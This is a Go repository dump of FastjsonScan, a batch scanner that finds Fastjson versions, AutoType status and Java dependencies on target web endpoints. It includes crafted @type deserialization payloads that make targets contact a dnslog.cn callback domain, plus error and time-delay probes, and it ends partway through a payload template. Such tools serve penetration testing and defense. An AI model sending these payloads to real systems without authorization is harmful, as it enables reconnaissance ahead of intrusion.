├── Console └── console.go ├── Detect └── detect.go ├── LICENSE ├── README.md ├── Utils ├── dnslog.go ├── err.go ├── factory.go ├── struct.go └── templates.go ├── go.mod ├── img.png ├── img_1.png └── main.go /Console/console.go: -------------------------------------------------------------------------------- 1 | package Console 2 | 3 | import ( 4 | "FastjsonScan/Detect" 5 | "FastjsonScan/Utils" 6 | "bufio" 7 | "fmt" 8 | "io" 9 | "os" 10 | "strings" 11 | "sync" 12 | ) 13 | 14 | func Opts(){ 15 | fmt.Println(`Usage of ./FastjsonScan: 16 | -u url e.g: https://a1phaboy.tech/fastjson/post 17 | 18 | -f targets file . for example: -f targets.txt 19 | 20 | -o results output file. for example: -o result.txt 21 | `) 22 | } 23 | func Banner(){ 24 | fmt.Println(` 25 | _____ _ _ ____ 26 | | ___|_ _ ___| |_ (_)___ ___ _ __ / ___| ___ __ _ _ __ 27 | | |_ / _' / __| __|| / __|/ _ \| '_ \\___ \ / __/ _' | '_ \ 28 | | _| (_| \__ \ |_ | \__ \ (_) | | | |___) | (_| (_| | | | | 29 | |_| \__,_|___/\__|/ |___/\___/|_| |_|____/ \___\__,_|_| |_| 30 | |__/ 31 | v1.2 by a1phaboy 32 | `) 33 | } 34 | 35 | func Start(options Utils.Option){ 36 | var ch chan string 37 | var targets []string 38 | initTargetList(options,&targets) 39 | //fmt.Println(targets) 40 | var results = make([]Utils.Result,len(targets)) 41 | var wg sync.WaitGroup 42 | wg.Add(len(targets)) 43 | for k,v := range targets{ 44 | go func(k int,v string,ch chan string) { 45 | results[k] = Detect.DetectVersion(v) 46 | wg.Done() 47 | }(k,v,ch) 48 | } 49 | wg.Wait() 50 | 51 | writeResults(options.Result,results) 52 | fmt.Println("[*] 结果已保存至 " + options.Result) 53 | 54 | //fmt.Println(results) 55 | } 56 | 57 | func initTargetList(options Utils.Option,targets *[]string) { 58 | 59 | if options.Url != ""{ 60 | *targets = append(*targets,options.Url) 61 | } 62 | if options.Targets != ""{ 63 | file,err := os.Open(options.Targets) 64 | if err != nil{ 65 | fmt.Println("文件不存在") 66 | return 67 | } 68 | buffer := bufio.NewReader(file) 69 | 70 | for{ 71 | line,err := buffer.ReadString('\n') 72 | line = strings.TrimSpace(line) 73 | if err != nil { 74 | if err == io.EOF{ 75 | return 76 | } 77 | fmt.Println("未知错误") 78 | return 79 | } 80 | *targets = append(*targets,line) 81 | } 82 | } 83 | } 84 | 85 | func writeResults(file string, results []Utils.Result ){ 86 | var f *os.File 87 | var err error 88 | f,err = os.Create(file) 89 | if err != nil{ 90 | fmt.Println(err.Error()) 91 | return 92 | } 93 | for _,v := range results{ 94 | if v.Type == "Fastjson" && v.Version != "" { 95 | info := Utils.SCAN_RESULTS_OUTPUT_FACTORY(v) 96 | _, err = io.WriteString(f, info) 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /Detect/detect.go: -------------------------------------------------------------------------------- 1 | package Detect 2 | 3 | import ( 4 | "FastjsonScan/Utils" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "net/http" 9 | "net/http/httptrace" 10 | "regexp" 11 | "strings" 12 | "time" 13 | ) 14 | 15 | /** 16 | *** 识别fastjson(主要通过报错回显的方式) 17 | **/ 18 | 19 | 20 | func DetectFastjson(url string) (bool,string){ 21 | fmt.Println("["+url+"] :"+"[+] 正在进行报错识别") 22 | jsonType := ErrDetectVersion(url,Utils.FS_ERR_DETECT) 23 | if jsonType == "jackson" { 24 | return false,Utils.NOT_FS 25 | } 26 | if jsonType != ""{ 27 | return true,jsonType 28 | } 29 | return false,jsonType 30 | } 31 | 32 | /** 33 | *** 探测fastjson版本,目前包括:报错探测,DNS探测和延迟探测 34 | **/ 35 | 36 | func DetectVersion(url string ) Utils.Result { 37 | var result Utils.Result 38 | Utils.InitResult(result) 39 | fmt.Println("开始检测 "+url) 40 | result.Url = url 41 | var payloads Utils.DNSPayloads 42 | isFastjson,jsonType := DetectFastjson(url) 43 | if jsonType == "jackson" { 44 | result.Type = jsonType 45 | return result 46 | } 47 | //出网探测 48 | fmt.Println("["+result.Url+"] :"+"[+] 正在进行出网探测") 49 | payload, session := Utils.NET_DETECT_FACTORY() 50 | record := DnslogDetect(url, payload, session) 51 | if record != "" { 52 | if record != Utils.NETWORK_NOT_ACCESS { 53 | //出网 54 | fmt.Println("[" + result.Url + "] :" + "[*] 目标可出网") 55 | result.Netout = true 56 | result.Type = "Fastjson" 57 | fmt.Println("[" + result.Url + "] :" + "[+] 正在进行 AutoType状态 探测") 58 | result.AutoType = DetectAutoType(url) 59 | result.Dependency = DetectDependency(url) 60 | if isFastjson && jsonType != Utils.NOT_FS && jsonType != "" { 61 | fmt.Println("[" + result.Url + "] :" + "[+] Fastjson版本为 " + jsonType) 62 | result.Version = jsonType 63 | return result 64 | } 65 | fmt.Println("[" + result.Url + "] :" + "[+] 正在进行版本探测") 66 | payloads, session = Utils.DNS_DETECT_FACTORY() 67 | version := DnslogDetect(url, payloads.Dns_48, session) 68 | if version == "48" { 69 | result.Version = Utils.FJ_UNDER_48 70 | return result 71 | } 72 | version = DnslogDetect(url, payloads.Dns_68, session) 73 | if version == "68" { 74 | if result.AutoType { 75 | result.Version = Utils.FJ_BEYOND_48 76 | return result 77 | } 78 | result.Version = Utils.FJ_BETWEEN_48_68 79 | return result 80 | } 81 | version = DnslogDetect(url, payloads.Dns_80, session) 82 | if version == "80" { 83 | result.Version = Utils.FJ_BETWEEN_69_80 84 | return result 85 | } 86 | version = DnslogDetect(url, payloads.Dns_80, session) 87 | if version == "83" { 88 | result.Version = Utils.FS_BEYOND_80 89 | return result 90 | } 91 | result.Version = version 92 | return result 93 | }else{ 94 | fmt.Println("客户端与dnslog平台网络不可达") 95 | //内网测试场景 施工中 96 | } 97 | 98 | } else { 99 | //不出网 100 | fmt.Println("["+result.Url+"] :"+"[-] 目标不出网") 101 | fmt.Println("["+result.Url+"] :"+"[+] 正在进行延迟探测") 102 | if TimeDelayCheck(url) { 103 | result.Netout = false 104 | result.Type = "Fastjson" 105 | result.Version = Utils.FS_BETWEEN_36_62 106 | return result 107 | //fastjson > 1.2.61 且 不出网 108 | 109 | } 110 | } 111 | 112 | result.Type = jsonType 113 | return result 114 | } 115 | 116 | 117 | /** 118 | *** 探测java环境依赖库 119 | **/ 120 | 121 | func DetectDependency(target string)[]string{ 122 | fmt.Println("["+target+"] :"+"[+] 正在进行依赖库探测") 123 | fmt.Println("["+target+"] :"+"[+] 正在进行报错探测") 124 | var results []string 125 | findDependency := ErrDetectDependency(target,Utils.DEPENDENCY_ERR_DETECT_FACTORY()) 126 | //fmt.Println(findDependency) 127 | if findDependency[0] == "" { 128 | fmt.Println("["+target+"] :"+"[-] 报错探测未发现任何依赖库") 129 | results = make([]string,1) 130 | results[0] = "" 131 | }else{ 132 | fmt.Println("["+target+"] :"+"[*] 发现依赖库如下") 133 | for dependency := range findDependency{ 134 | if findDependency[dependency] != "" { 135 | fmt.Println(findDependency[dependency]) 136 | results = append(results,findDependency[dependency]) 137 | } 138 | 139 | } 140 | } 141 | return results 142 | } 143 | 144 | 145 | /** 146 | *** Autotype 开启检测,需出网 147 | *** return True 为 开启 ; False 为 关闭 148 | **/ 149 | 150 | func DetectAutoType(url string) bool{ 151 | dnsurl,session := Utils.GetDnslogUrl() 152 | var autoTypeStatus bool 153 | payload := Utils.AUTOTYPE_DETECT_FACTORY(dnsurl) 154 | record := DnslogDetect(url,payload,session) 155 | if record == "" || record == Utils.NETWORK_NOT_ACCESS{ 156 | fmt.Println("["+url+"] :"+"[-] 目标没有开启 AutoType") 157 | autoTypeStatus = false 158 | }else{ 159 | fmt.Println("["+url+"] :"+"[*] 目标开启了 AutoType ") 160 | autoTypeStatus = true 161 | } 162 | return autoTypeStatus 163 | } 164 | 165 | func DnslogDetect(target string,payload string,session string) string{ 166 | reqBody := strings.NewReader(payload) 167 | httpReq, err := http.NewRequest("POST", target, reqBody) 168 | if err != nil { 169 | err.Error() 170 | } 171 | httpReq.Header.Add("Content-Type", "application/json") 172 | httpRsp, err := http.DefaultClient.Do(httpReq) 173 | if err != nil{ 174 | httpRsp = Utils.NetWorkErrHandle(http.DefaultClient,httpReq,err) 175 | if httpRsp == nil{ 176 | fmt.Println("与dns平台网络不可达,请检查网络") 177 | return Utils.NETWORK_NOT_ACCESS 178 | } 179 | } 180 | //defer httpRsp.Body.Close() 181 | body, err := ioutil.ReadAll(httpRsp.Body) 182 | if err != nil{ 183 | err.Error() 184 | } 185 | reg := regexp.MustCompile(`fastjson-version\s\d.\d.[0-9]+`) 186 | var version string 187 | version = reg.FindString(string(body)) 188 | if version != ""{ 189 | return version[17:] 190 | } 191 | 192 | //fmt.Println(session) 193 | time.Sleep(3*time.Second) // 等3秒钟,防止由于网络原因误报 194 | //fmt.Println(payload+":"+ Utils.GetDnslogRecord(session)) 195 | return Utils.GetDnslogRecord(session) 196 | } 197 | 198 | /** 199 | *** 报错探测 200 | **/ 201 | 202 | func ErrDetectVersion(target string,payload string) string{ 203 | var version string 204 | reqBody := strings.NewReader(payload) 205 | httpReq, err := http.NewRequest("POST", target, reqBody) 206 | if err != nil { 207 | err.Error() 208 | } 209 | httpReq.Header.Add("Content-Type", "application/json") 210 | httpRsp, err := http.DefaultClient.Do(httpReq) 211 | if err != nil { 212 | httpRsp = Utils.NetWorkErrHandle(http.DefaultClient,httpReq,err) 213 | if httpRsp == nil{ 214 | fmt.Println("与"+target+"网络不可达,请检查网络") 215 | return Utils.NETWORK_NOT_ACCESS 216 | } 217 | } 218 | defer httpRsp.Body.Close() 219 | body, err := ioutil.ReadAll(httpRsp.Body) 220 | if err != nil{ 221 | err.Error() 222 | } 223 | reg := regexp.MustCompile(`fastjson-version\s\d.\d.[0-9]+`) 224 | 225 | version = reg.FindString(string(body)) 226 | if version == ""{ 227 | reg = regexp.MustCompile(`jackson`) 228 | version = reg.FindString(string(body)) 229 | return version 230 | }else{ 231 | return version[17:] 232 | } 233 | } 234 | 235 | func ErrDetectDependency(target string, payloadsMap map[string]string) []string{ 236 | var result = make([]string, len(payloadsMap)) 237 | var cursor = 0 238 | for dependencyName , payload := range payloadsMap { 239 | reqBody := strings.NewReader(payload) 240 | httpReq, err := http.NewRequest("POST", target, reqBody) 241 | if err != nil{ 242 | err.Error() 243 | } 244 | httpReq.Header.Add("Content-Type", "application/json") 245 | httpRsp, err := http.DefaultClient.Do(httpReq) 246 | if err != nil { 247 | err.Error() 248 | } 249 | defer httpRsp.Body.Close() 250 | body, err := ioutil.ReadAll(httpRsp.Body) 251 | //fmt.Println(string(body)) 252 | if err != nil{ 253 | err.Error() 254 | } 255 | reg := regexp.MustCompile(dependencyName) 256 | 257 | find := reg.FindString(string(body)) 258 | if find != ""{ 259 | result[cursor] = dependencyName 260 | cursor++ 261 | } 262 | } 263 | return result 264 | } 265 | 266 | /** 267 | *** 延迟探测 268 | **/ 269 | 270 | func TimeDelayCheck(url string) bool{ 271 | var count int 272 | var start int64 273 | var pos int64 = 0 274 | for i := 0; i < 6; i++ { 275 | start = pos 276 | payloads := Utils.TIME_DETECT_FACTORY(6) 277 | pos = TimeGet(url,payloads[i]) 278 | if pos - start > 0{ 279 | count ++ 280 | } 281 | } 282 | if count > 4 { 283 | return true 284 | } 285 | return false 286 | } 287 | 288 | /** 289 | *** 获取请求的时间 290 | **/ 291 | 292 | func TimeGet(url string,payload string) int64{ 293 | reqBody := strings.NewReader(payload) 294 | req, _ := http.NewRequest("POST", url, reqBody) 295 | var start time.Time 296 | 297 | trace := &httptrace.ClientTrace{ 298 | GotFirstResponseByte: func() { 299 | //fmt.Printf("Time from start to first byte: %v\n", time.Since(start)) 300 | }, 301 | } 302 | req = req.WithContext(httptrace.WithClientTrace(req.Context(), trace)) 303 | start = time.Now() 304 | if _, err := http.DefaultTransport.RoundTrip(req); err != nil { 305 | log.Fatal(err) 306 | } 307 | //fmt.Printf("Total time: %v\n", time.Since(start)) 308 | return int64(time.Since(start)) 309 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 a1phaboy 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![FastjsonScan](https://socialify.git.ci/a1phaboy/FastjsonScan/image?font=Source%20Code%20Pro&forks=1&issues=1&language=1&name=1&owner=1&pattern=Circuit%20Board&stargazers=1&theme=Light) 2 | # FastjsonScan 3 | A tool to fast detect fastjson‘s deserialize vuln 4 | 5 | ## 0x00 FastjsonScan now is public 🎉🎉🎉 6 | 7 | 8 | ### WHAT? 9 | FastjsonExpFramework一共分为探测、利用、混淆、bypass JDK等多个模块,而FastjsonScan 是其中一部分,通过报错、请求、依赖库等探测实现多方面定位fastjson版本 10 | 11 | ### WHY? 12 | 现有的fastjson扫描器无法满足迭代速度如此快的fastjson版本,大部分扫描器早已无人维护,已不适配高版本。我将持续优化此系列项目。 13 | 14 | ### HOW? 15 | 目前fastjsonScan支持 16 | ☑️支持批量接口探测 17 | ☑️1.2.83及以下的区间探测(主要分为48,68,80三大安全版本) 18 | ☑️支持报错回显探测 19 | ☑️DNS出网检测 20 | ☑️支持AutoType状态检测 21 | ☑️依赖库检测 22 | ☑️延迟检测 23 | 24 | ### TODO 25 | 适配内网环境下的探测 26 | 适配webpack做自动化扫描 27 | 完善DNS回显探测依赖库的探测 28 | 完善在61版本以上并且不出网的检测方式 29 | 完善其他不同json解析库的探测 30 | 完善相关依赖库检测 31 | 32 | ### 如果在使用过程中有任何问题欢迎提出issues👏 33 | 34 | ### Demo 35 | ![img.png](img.png)![img_1.png](img_1.png) 36 | 37 | ## Usage 38 | **FastjsonScan [-u] url [-f] urls.txt [-o] result.txt** 39 | -u 目标url,注意需要加上http/https 40 | -f 目标url文件,可以扫描多条url 41 | -o 结果保存文件,默认在当前文件夹下的results.txt文件 42 | 43 | ## 0x01 Dev Notes 44 | 45 | ### 2022-09-05 0.5 46 | Framework分离出scan模块 47 | 48 | ### 2022-09-05 0.4 beta 49 | ☑️重构版本探测模块,将判断fastjson,jackson,org.json,gson分离出来做识别模块 50 | 51 | TODO: 52 | 利用dnslog探测依赖库 53 | 利用模块编写 54 | 55 | ### 2022-09-04 0.35 beta 56 | ☑️修复了48版本的探测payload,该payload在进行80版本的payload探测之后,会触发tojavaobject从而将java.net.InetAddress类加入白名单,当进行第二次版本探测时会产生误报 57 | ☑️版本检测会优先判断AutoType是否开启,如果开启只能模糊区分48以下及以上 58 | 59 | 60 | ### 2022-09-03 0.34 beta 61 | ☑️重构了版本探测模块,由之前精确探测分成了3块(48,68,80) 62 | ☑️重写了判断版本的逻辑 63 | ☑️补充了80版本与83版本的探测 64 | 65 | TODO: 66 | 目标依赖库环境的探测 67 | AutoType的状态对版本探测有影响,需要做处理 68 | 69 | 70 | ### 2022-09-02 0.33 beta 71 | ☑️修改了含有jackson字段的报错检测逻辑 72 | ☑️DNS检测新增10秒的等待时间,防止网络原因导致误报 73 | 74 | ### 2022-09-01 0.32 beta 75 | ☑️添加多条gadget,部分gadget复现不成功,根据目标的环境添加 76 | ☑️修改了延迟探测的bug 77 | ☑️添加了URLReader的探测链 78 | 79 | ### 2022-08-07 0.31 beta 80 | ☑️增加了几条gadgets 81 | 82 | ### 2022-08-06 0.3 beta 83 | ☑️完成了AutoType探测模块 84 | 85 | ### 2022-08-05 0.2 beta 86 | ☑️完成了探测模块的主要部分:包括报错探测,DNS探测和延迟探测 87 | 88 | 89 | 90 | ## 0x02参考 91 | https://github.com/safe6Sec/Fastjson 92 | https://github.com/hosch3n/FastjsonVulns 93 | https://github.com/iSafeBlue/fastjson-autotype-bypass-demo 94 | 95 | ## 0x03鸣谢 96 | 非常感谢 [blue](https://github.com/iSafeBlue) 浅蓝师傅在kcon上的精彩分享 97 | 非常感谢 [hosch3n](https://github.com/hosch3n) 李师傅的答疑解惑 98 | 99 | -------------------------------------------------------------------------------- /Utils/dnslog.go: -------------------------------------------------------------------------------- 1 | package Utils 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "math/rand" 7 | "net/http" 8 | "regexp" 9 | "time" 10 | ) 11 | 12 | /** 13 | *** dnslog API 14 | **/ 15 | 16 | func GetDnslogUrl() (string,string){ 17 | session := randCreator() 18 | client := &http.Client{} 19 | req, err := http.NewRequest("GET", "http://www.dnslog.cn/getdomain.php",nil) 20 | if err != nil{ 21 | err.Error() 22 | } 23 | req.Header.Add("Cookie","PHPSESSID="+session) 24 | resp, err := client.Do(req) 25 | if err != nil{ 26 | resp = NetWorkErrHandle(client,req,err) 27 | if resp == nil{ 28 | fmt.Println("与dns平台网络不可达,请检查网络") 29 | return NETWORK_NOT_ACCESS,"" 30 | } 31 | } 32 | domain, _ := ioutil.ReadAll(resp.Body) 33 | 34 | return string(domain),session 35 | } 36 | 37 | func GetDnslogRecord(PHPSESSID string) string{ 38 | client := &http.Client{} 39 | req, err := http.NewRequest("GET", "http://www.dnslog.cn/getrecords.php",nil) 40 | if err != nil{ 41 | err.Error() 42 | } 43 | req.Header.Add("Cookie","PHPSESSID=" + PHPSESSID) 44 | resp, err := client.Do(req) 45 | if err != nil{ 46 | resp = NetWorkErrHandle(client,req,err) 47 | if resp == nil{ 48 | fmt.Println("与dns平台网络不可达,请检查网络") 49 | return NETWORK_NOT_ACCESS 50 | } 51 | } 52 | body, _ := ioutil.ReadAll(resp.Body) 53 | dns_48 := regexp.MustCompile(`48_.`) 54 | dns_68 := regexp.MustCompile(`68_.`) 55 | dns_80 := regexp.MustCompile(`80_.`) 56 | dns_83 := regexp.MustCompile(`83_.`) 57 | //fmt.Println(string(body)) 58 | if string(body) == "[]"{ 59 | return "" 60 | }else{ 61 | if dns_48.FindString(string(body)) != "" { 62 | return "48" 63 | } 64 | if dns_68.FindString(string(body)) != ""{ 65 | return "68" 66 | } 67 | if dns_83.FindString(string(body)) != ""{ 68 | return "83" 69 | } 70 | if dns_80.FindString(string(body)) != ""{ 71 | return "80" 72 | } 73 | return "Recorded" 74 | } 75 | } 76 | 77 | func randCreator() string{ 78 | str:="0123456789abcdefghigklmnopqrstuvwxyz" 79 | strList:=[]byte(str) 80 | result:=[]byte{} 81 | i:=0 82 | r := rand.New(rand.NewSource(time.Now().UnixNano())) 83 | for i< 26{ 84 | new:=strList[r.Intn(len(strList))] 85 | result=append(result,new) 86 | i=i+1 87 | } 88 | return string(result) 89 | } 90 | -------------------------------------------------------------------------------- /Utils/err.go: -------------------------------------------------------------------------------- 1 | package Utils 2 | 3 | import ( 4 | "net/http" 5 | "strings" 6 | "time" 7 | ) 8 | 9 | /** 10 | *** 异常处理函数封装 11 | **/ 12 | 13 | func NetWorkErrHandle(client *http.Client,req *http.Request,err error) *http.Response{ 14 | if strings.Contains(err.Error(), "Timeout") { 15 | i := 0 16 | for { 17 | time.Sleep(2 * time.Second) 18 | resp, err := client.Do(req) 19 | i++ 20 | if err == nil { 21 | return resp 22 | } 23 | if i > 3 { 24 | defer client.CloseIdleConnections() 25 | return nil 26 | } 27 | } 28 | } else { 29 | defer client.CloseIdleConnections() 30 | return nil 31 | } 32 | } 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /Utils/factory.go: -------------------------------------------------------------------------------- 1 | package Utils 2 | 3 | import ( 4 | "bytes" 5 | "log" 6 | "text/template" 7 | ) 8 | 9 | 10 | /** 11 | *** 工厂文件,用于处理payload模版,生成实际payload 12 | **/ 13 | 14 | 15 | 16 | /** 17 | *** 出网探测 18 | **/ 19 | 20 | func NET_DETECT_FACTORY() (string,string){ 21 | var buffer bytes.Buffer 22 | payloadTemplate := TAR_NET_DETECT 23 | var session string 24 | Payload := &Payload{} 25 | Payload.Variables = make(map[string]string) 26 | Payload.Variables["DNS"],session = GetDnslogUrl() 27 | buffer.Reset() 28 | PayloadTemplate, err := template.New("Payload").Parse(payloadTemplate) 29 | if err != nil { 30 | log.Fatal(err) 31 | } 32 | buffer.Reset() 33 | if err = PayloadTemplate.Execute(&buffer, Payload); err != nil { 34 | log.Fatal(err) 35 | } 36 | return buffer.String(),session 37 | } 38 | 39 | /** 40 | *** DNS探测 41 | *** output payloads(dns_48_payload,dns_68_payload,dns_80_payload),session 42 | **/ 43 | 44 | func DNS_DETECT_FACTORY() (DNSPayloads,string){ 45 | var payloads DNSPayloads 46 | var buffer bytes.Buffer 47 | var session string 48 | Dns := &Payload{} 49 | Dns.Variables = make(map[string]string) 50 | Dns.Variables["DNS"],session = GetDnslogUrl() 51 | buffer.Reset() 52 | dns_48_payload, err := template.New("Dns").Parse(DNS_DETECT_48) 53 | dns_68_payload, err := template.New("Dns").Parse(DNS_DETECT_68) 54 | dns_80_payload, err := template.New("Dns").Parse(DNS_DETECT_80) 55 | if err != nil { 56 | log.Fatal(err) 57 | } 58 | buffer.Reset() 59 | if err = dns_48_payload.Execute(&buffer, Dns); err != nil { 60 | log.Fatal(err) 61 | } 62 | payloads.Dns_48 = buffer.String() 63 | buffer.Reset() 64 | if err = dns_68_payload.Execute(&buffer, Dns); err != nil { 65 | log.Fatal(err) 66 | } 67 | payloads.Dns_68 = buffer.String() 68 | buffer.Reset() 69 | if err = dns_80_payload.Execute(&buffer, Dns); err != nil { 70 | log.Fatal(err) 71 | } 72 | payloads.Dns_80 = buffer.String() 73 | return payloads,session 74 | } 75 | 76 | 77 | 78 | 79 | /** 80 | *** 生成count条payload 默认为count=5 81 | **/ 82 | 83 | func TIME_DETECT_FACTORY(count int) []string{ 84 | var buffer bytes.Buffer 85 | var payloadTemplate = TIME_DETECT 86 | payloads := make([]string,count) 87 | Payload := &Payload{} 88 | Payload.Variables = make(map[string]string) 89 | for i := 0; i < count; i++ { 90 | Payload.Variables["Value"] += "a" 91 | buffer.Reset() 92 | PayloadTemplate, err := template.New("Payload").Parse(payloadTemplate) 93 | if err != nil { 94 | log.Fatal(err) 95 | } 96 | buffer.Reset() 97 | if err = PayloadTemplate.Execute(&buffer, Payload); err != nil { 98 | log.Fatal(err) 99 | } 100 | payloads[i] = buffer.String() 101 | } 102 | return payloads 103 | } 104 | 105 | /** 106 | *** 检测是否开启了AutoType的payload 107 | *** input dnsurl 108 | *** output payload 109 | **/ 110 | 111 | func AUTOTYPE_DETECT_FACTORY(dnsurl string) string{ 112 | var buffer bytes.Buffer 113 | var payloadTemplate = AUTOTYPE_CHECK 114 | Payload :=&Payload{} 115 | Payload.Variables = make(map[string]string) 116 | Payload.Variables["DNS"] = dnsurl 117 | buffer.Reset() 118 | PayloadTemplate, err := template.New("Payload").Parse(payloadTemplate) 119 | if err != nil { 120 | log.Fatal(err) 121 | } 122 | buffer.Reset() 123 | if err = PayloadTemplate.Execute(&buffer, Payload); err != nil { 124 | log.Fatal(err) 125 | } 126 | return buffer.String() 127 | } 128 | 129 | 130 | /** 131 | *** 探测是否含有依赖库 132 | *** 133 | *** output payloads 134 | **/ 135 | 136 | func DEPENDENCY_ERR_DETECT_FACTORY() map[string]string{ 137 | var payloads = make(map[string]string) 138 | var buffer bytes.Buffer 139 | var payloadTemplate = DEPENDENCY_DETECT_BY_ERR 140 | gadgetName :=&Payload{} 141 | gadgetName.Variables = make(map[string]string) 142 | for i := 0; i < len(DependencyList); i++ { 143 | gadgetName.Variables["Dependency"] = DependencyList[i] 144 | buffer.Reset() 145 | PayloadTemplate, _ := template.New("gadgetName").Parse(payloadTemplate) 146 | _ = PayloadTemplate.Execute(&buffer, gadgetName) 147 | payloads[DependencyList[i]] = buffer.String() 148 | } 149 | return payloads 150 | 151 | } 152 | 153 | func SCAN_RESULTS_OUTPUT_FACTORY(result Result) string{ 154 | var outputString string 155 | var buffer bytes.Buffer 156 | var outputStringTemplate = RESULT_OUTPUT 157 | var net string 158 | var autotype string 159 | if result.Netout{ 160 | net = "可出网" 161 | }else{ 162 | net = "不出网" 163 | } 164 | if result.AutoType { 165 | autotype = "开启" 166 | }else{ 167 | autotype = "未开启" 168 | } 169 | field := &ResultFomat{} 170 | field.Variables = make(map[string]string) 171 | field.Dependency = make([]string,len(result.Dependency)) 172 | field.Variables["Url"] = result.Url 173 | field.Variables["Version"] = result.Version 174 | field.Variables["Netout"] = net 175 | field.Variables["Autotype"] = autotype 176 | field.Dependency = result.Dependency 177 | buffer.Reset() 178 | resultTemplate ,_ := template.New("field").Parse(outputStringTemplate) 179 | _ = resultTemplate.Execute(&buffer,field) 180 | outputString = buffer.String() 181 | return outputString 182 | } 183 | 184 | -------------------------------------------------------------------------------- /Utils/struct.go: -------------------------------------------------------------------------------- 1 | package Utils 2 | 3 | type FS_VERSION string //fastjson版本号 4 | const FJ_UNDER_48 string = "Fastjson < 1.2.48" 5 | const FJ_BEYOND_48 string = "Fastjson ≥ 1.2.48" 6 | const FJ_NOT_DETECT string = "Fastjson isn't detected or network isn't achieve" 7 | const FJ_BETWEEN_48_68 string = "1.2.48 ≤ Fastjson ≤ 1.2.68" 8 | const FJ_BETWEEN_69_80 string = "1.2.69 ≤ Fastjson ≤ 1.2.80" 9 | const FS_BETWEEN_36_62 = "1.2.37 ≤ Fastjson ≤ 1.2.61 (来自延迟探测,受网络因素影响,有一定误报率)" 10 | const FS_BEYOND_80 = "fastjson = 1.2.83" 11 | const NOT_FS = "target isn't fastjson" 12 | const NETWORK_NOT_ACCESS = "Network is Unreachable" 13 | 14 | /* class */ 15 | 16 | var DependencyList =[]string{ 17 | "org.springframework.web.bind.annotation.RequestMapping", 18 | "org.apache.shiro.jndi.JndiObjectFactory", 19 | "org.apache.catalina.startuo.Tomcat", 20 | "groovy.lang.GroovyShell", 21 | "com.mysql.jdbc.Driver", 22 | "java.net.http.HttpClient", 23 | 24 | } 25 | 26 | /** 27 | *** 定义的一些结构体 28 | **/ 29 | 30 | type DNSPayloads struct { 31 | Dns_48 string 32 | Dns_68 string 33 | Dns_80 string 34 | } 35 | 36 | 37 | type ResultFomat struct { 38 | Variables map[string]string 39 | Dependency []string 40 | } 41 | 42 | 43 | type Payload struct { 44 | Variables map[string]string 45 | } 46 | 47 | 48 | type Option struct { 49 | Url string 50 | Targets string 51 | Result string 52 | } 53 | 54 | type Result struct { 55 | Url string 56 | Type string 57 | Version string 58 | AutoType bool 59 | Netout bool 60 | Dependency []string 61 | } 62 | 63 | func InitResult(result Result) { 64 | result.Url = "" 65 | result.Type = "" 66 | result.Version = "" 67 | result.AutoType = false 68 | result.Netout = false 69 | } 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /Utils/templates.go: -------------------------------------------------------------------------------- 1 | package Utils 2 | 3 | 4 | 5 | /** templates.go 6 | *** payload模版 results模版 7 | **/ 8 | 9 | /* 报错检测 */ 10 | 11 | var FS_ERR_DETECT = `{"@type": "java.lang.AutoCloseable"` 12 | 13 | /* 出网检测 */ 14 | 15 | var TAR_NET_DETECT = `{"name":{"@type":"java.net.Inet4Address","val":"{{.Variables.DNS}}"}}` 16 | 17 | /* 延迟检测 */ 18 | 19 | var TIME_DETECT = `{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaa{{.Variables.Value}}!"}` 20 | 21 | /* AutoType检测 */ 22 | 23 | var AUTOTYPE_CHECK = `[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"{{.Variables.DNS}}"}]` 24 | 25 | /************************************************ 26 | *** DNS检测 *** 27 | *************************************************/ 28 | 29 | // fastjson < 1.2.48 30 | 31 | var DNS_DETECT_48 = ` 32 | [ 33 | {"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"}, 34 | {"@type":"java.io.ByteArrayOutputStream"}, 35 | {"@type":"java.net.InetSocketAddress"{"address":,"val":"48_.{{.Variables.DNS}}"}} 36 | ] 37 | ` 38 | 39 | 40 | // 1.2.48 ≤ fastjson ≤ 1.2.68 41 | 42 | var DNS_DETECT_68 = ` 43 | { 44 | "a": { 45 | "@type": "java.lang.AutoCloseable", 46 | "@type": "com.alibaba.fastjson.JSONReader", 47 | "reader": { 48 | "@type": "jdk.nashorn.api.scripting.URLReader", 49 | "url": "http://68_.{{.Variables.DNS}}" 50 | } 51 | } 52 | } 53 | ` 54 | 55 | // 1.2.68 < fastjson ≤ 1.2.83 56 | 57 | var DNS_DETECT_80 = ` 58 | [ 59 | { 60 | "@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException", 61 | "x":{ 62 | "@type":"java.net.InetSocketAddress"{"address":,"val":"80_.{{.Variables.DNS}}"} 63 | } 64 | }, 65 | { 66 | "@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException", 67 | 